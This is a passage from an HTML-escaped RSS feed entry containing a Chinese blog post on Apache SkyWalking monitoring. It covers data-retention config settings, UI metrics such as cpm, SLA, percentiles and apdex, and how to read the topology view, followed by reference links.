&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;enableDataKeeperExecutor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_ENABLE_DATA_KEEPER_EXECUTOR:true}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Turn it off then automatically metrics data delete will be close.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dataKeeperExecutePeriod&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_DATA_KEEPER_EXECUTE_PERIOD:5}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# How often the data keeper executor runs periodically, unit is minute&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;recordDataTTL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_RECORD_DATA_TTL:3}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Unit is day&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;metricsDataTTL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l"&gt;${SW_CORE_RECORD_DATA_TTL:7}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# Unit is day&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;主要是这四行&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;enableDataKeeperExecutor: ${SW_CORE_ENABLE_DATA_KEEPER_EXECUTOR:true} # Turn it off then automatically metrics data delete will be close.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;dataKeeperExecutePeriod: ${SW_CORE_DATA_KEEPER_EXECUTE_PERIOD:5} # How often the data keeper executor runs periodically, unit is minute
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;recordDataTTL: ${SW_CORE_RECORD_DATA_TTL:3} # Unit is day
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;metricsDataTTL: ${SW_CORE_RECORD_DATA_TTL:7} # Unit is day
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="skywalking-ui-监控视角与指标介绍"&gt;&lt;a href="#skywalking-ui-%e7%9b%91%e6%8e%a7%e8%a7%86%e8%a7%92%e4%b8%8e%e6%8c%87%e6%a0%87%e4%bb%8b%e7%bb%8d" class="header-anchor"&gt;&lt;/a&gt;skywalking UI 监控视角与指标介绍
&lt;/h2&gt;&lt;h3 id="cpm-每分钟请求数"&gt;&lt;a href="#cpm-%e6%af%8f%e5%88%86%e9%92%9f%e8%af%b7%e6%b1%82%e6%95%b0" class="header-anchor"&gt;&lt;/a&gt;cpm 每分钟请求数
&lt;/h3&gt;&lt;p&gt;cpm 全称 call per minutes，是吞吐量(Throughput)指标。下图是拼接的全局、服务、实例和接口的吞吐量及平均吞吐量。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/008-10d14c3d.png"&gt;&lt;/p&gt;
&lt;p&gt;第一条185cpm=185/60=3.08个请求/秒。&lt;/p&gt;
&lt;h3 id="sla-服务等级协议"&gt;&lt;a href="#sla-%e6%9c%8d%e5%8a%a1%e7%ad%89%e7%ba%a7%e5%8d%8f%e8%ae%ae" class="header-anchor"&gt;&lt;/a&gt;SLA 服务等级协议
&lt;/h3&gt;&lt;p&gt;SLA 全称 Service-Level Agreement，直译为 “服务等级协议”，用来表示提供服务的水平。在IT中，SLA可以衡量平台的可用性，下面是N个9的计算：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;1年 = 365天 = 8760小时&lt;/li&gt;
&lt;li&gt;99 = 8760 * 1% =&amp;gt; 3.65天&lt;/li&gt;
&lt;li&gt;99.9 = 8760 * 0.1% =&amp;gt; 8.76小时&lt;/li&gt;
&lt;li&gt;99.99 = 8760 * 0.01% =&amp;gt; 52.6分钟&lt;/li&gt;
&lt;li&gt;99.999 = 8760 * 0.001% =&amp;gt; 5.26分钟&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此，全年只要发生一次较大规模宕机事故，4个9肯定没戏，一般平台3个9差不多。但2个9就基本不可用了，相当于全年有87.6小时不可用，每周(一个月按4周算)有1.825小时不可用。下图是服务、实例、接口的SLA，一般看年度、月度即可。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/009-27e40c81.png"&gt;&lt;/p&gt;
&lt;h3 id="percent-response-百分位数统计"&gt;&lt;a href="#percent-response-%e7%99%be%e5%88%86%e4%bd%8d%e6%95%b0%e7%bb%9f%e8%ae%a1" class="header-anchor"&gt;&lt;/a&gt;Percent Response 百分位数统计
&lt;/h3&gt;&lt;p&gt;表示采集样本中某些值的占比，Skywalking 有 &lt;code&gt;p50、p75、p90、p95、p99&lt;/code&gt; 一些列值。其中的 “p99:390” 表示 99% 请求的响应时间在390ms以内。而99%一般用于抛掉一些极端值，表示绝大多数请求。&lt;/p&gt;
&lt;h3 id="slow-endpoint-慢端点"&gt;&lt;a href="#slow-endpoint-%e6%85%a2%e7%ab%af%e7%82%b9" class="header-anchor"&gt;&lt;/a&gt;Slow Endpoint 慢端点
&lt;/h3&gt;&lt;p&gt;Endpoint 表示具体的服务，例如一个接口。下面是全局Top N的数据，通过这个可以观测平台性能情况。&lt;/p&gt;
&lt;h3 id="heatmap-热力图"&gt;&lt;a href="#heatmap-%e7%83%ad%e5%8a%9b%e5%9b%be" class="header-anchor"&gt;&lt;/a&gt;Heatmap 热力图
&lt;/h3&gt;&lt;p&gt;Heapmap 可译为热力图、热度图都可以，其中颜色越深，表示请求数越多，这和GitHub Contributions很像，commit越多，颜色越深。横坐标是响应时间，鼠标放上去，可以看到具体的数量。通过热力图，一方面可以直观感受平台的整体流量，另一方面也可以感受整体性能。&lt;/p&gt;
&lt;h3 id="apdex"&gt;&lt;a href="#apdex" class="header-anchor"&gt;&lt;/a&gt;apdex
&lt;/h3&gt;&lt;p&gt;是一个衡量服务器性能的标准。apdex有三个指标：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;满意：请求响应时间小于等于T。&lt;/li&gt;
&lt;li&gt;可容忍：请求响应时间大于T，小于等于4T。&lt;/li&gt;
&lt;li&gt;失望：请求响应时间大于4T。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;T：自定义的一个时间值，比如：500ms。apdex = （满意数 + 可容忍数/2）/ 总数。例如：服务A定义T=200ms，在100个采样中，有20个请求小于200ms，有60个请求在200ms到800ms之间，有20个请求大于800ms。计算apdex = (20 + 60/2)/100 = 0.5。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/010-d79d1a09.png"&gt;&lt;/p&gt;
&lt;h2 id="一些很有用的点"&gt;&lt;a href="#%e4%b8%80%e4%ba%9b%e5%be%88%e6%9c%89%e7%94%a8%e7%9a%84%e7%82%b9" class="header-anchor"&gt;&lt;/a&gt;一些很有用的点
&lt;/h2&gt;&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/011-c660509c.png"&gt;&lt;/p&gt;
&lt;p&gt;在拓扑图中&lt;/p&gt;
&lt;p&gt;红色代表当前节点的请求有一段时间内是响应异常的。当节点全部变红的时候证明服务现阶段内就彻底不可用了。我们可以通过Topology迅速发现某一个服务潜在的问题，并进行下一步的排查并做到预防。&lt;/p&gt;
&lt;p&gt;仔细看线是有流向的，有单向和双向的，单向有从左至右的或从右至左的，这样你就知道你的服务是谁依赖了谁。双向的就证明你的服务有循环引用依赖问题。&lt;/p&gt;
&lt;p&gt;在最新版本8.1中有endpoint端口依赖的分析，可以分析出接口级别的依赖关系，可以知道某接口是被谁调用，它又调用了谁。&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/012-b97ccb7d.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-09-29-ru-he-shi-yong-skywalking-jin-xing-quan-lian-lu-jian-kong/013-daacb3be.gif"&gt;&lt;/p&gt;
&lt;p&gt;关注公众号 获取更多精彩内容&lt;/p&gt;
&lt;h3 id="参考资料"&gt;&lt;a href="#%e5%8f%82%e8%80%83%e8%b5%84%e6%96%99" class="header-anchor"&gt;&lt;/a&gt;参考资料
&lt;/h3&gt;&lt;p&gt;[1]&lt;/p&gt;
&lt;p&gt;skywalking官方文档: &lt;em&gt;&lt;a class="link" href="https://github.com/apache/skywalking/blob/master/docs/en/setup/README.md" target="_blank" rel="noopener"
 &gt;https://github.com/apache/skywalking/blob/master/docs/en/setup/README.md&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;[2]&lt;/p&gt;
&lt;p&gt;skywalking-nginx-lua项目地址: &lt;em&gt;&lt;a class="link" href="https://github.com/apache/skywalking-nginx-lua/" target="_blank" rel="noopener"
 &gt;https://github.com/apache/skywalking-nginx-lua/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;[3]&lt;/p&gt;
&lt;p&gt;skywalking-agent文档: &lt;em&gt;&lt;a class="link" href="https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/setup/service-agent/java-agent/" target="_blank" rel="noopener"
 &gt;https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/setup/service-agent/java-agent/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;[4&lt;/p&gt;
&lt;p&gt;skywalking-ui 文档: &lt;em&gt;&lt;a class="link" href="https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/ui/" target="_blank" rel="noopener"
 &gt;https://skyapm.github.io/document-cn-translation-of-skywalking/zh/8.0.0/ui/&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</description></item></channel></rss>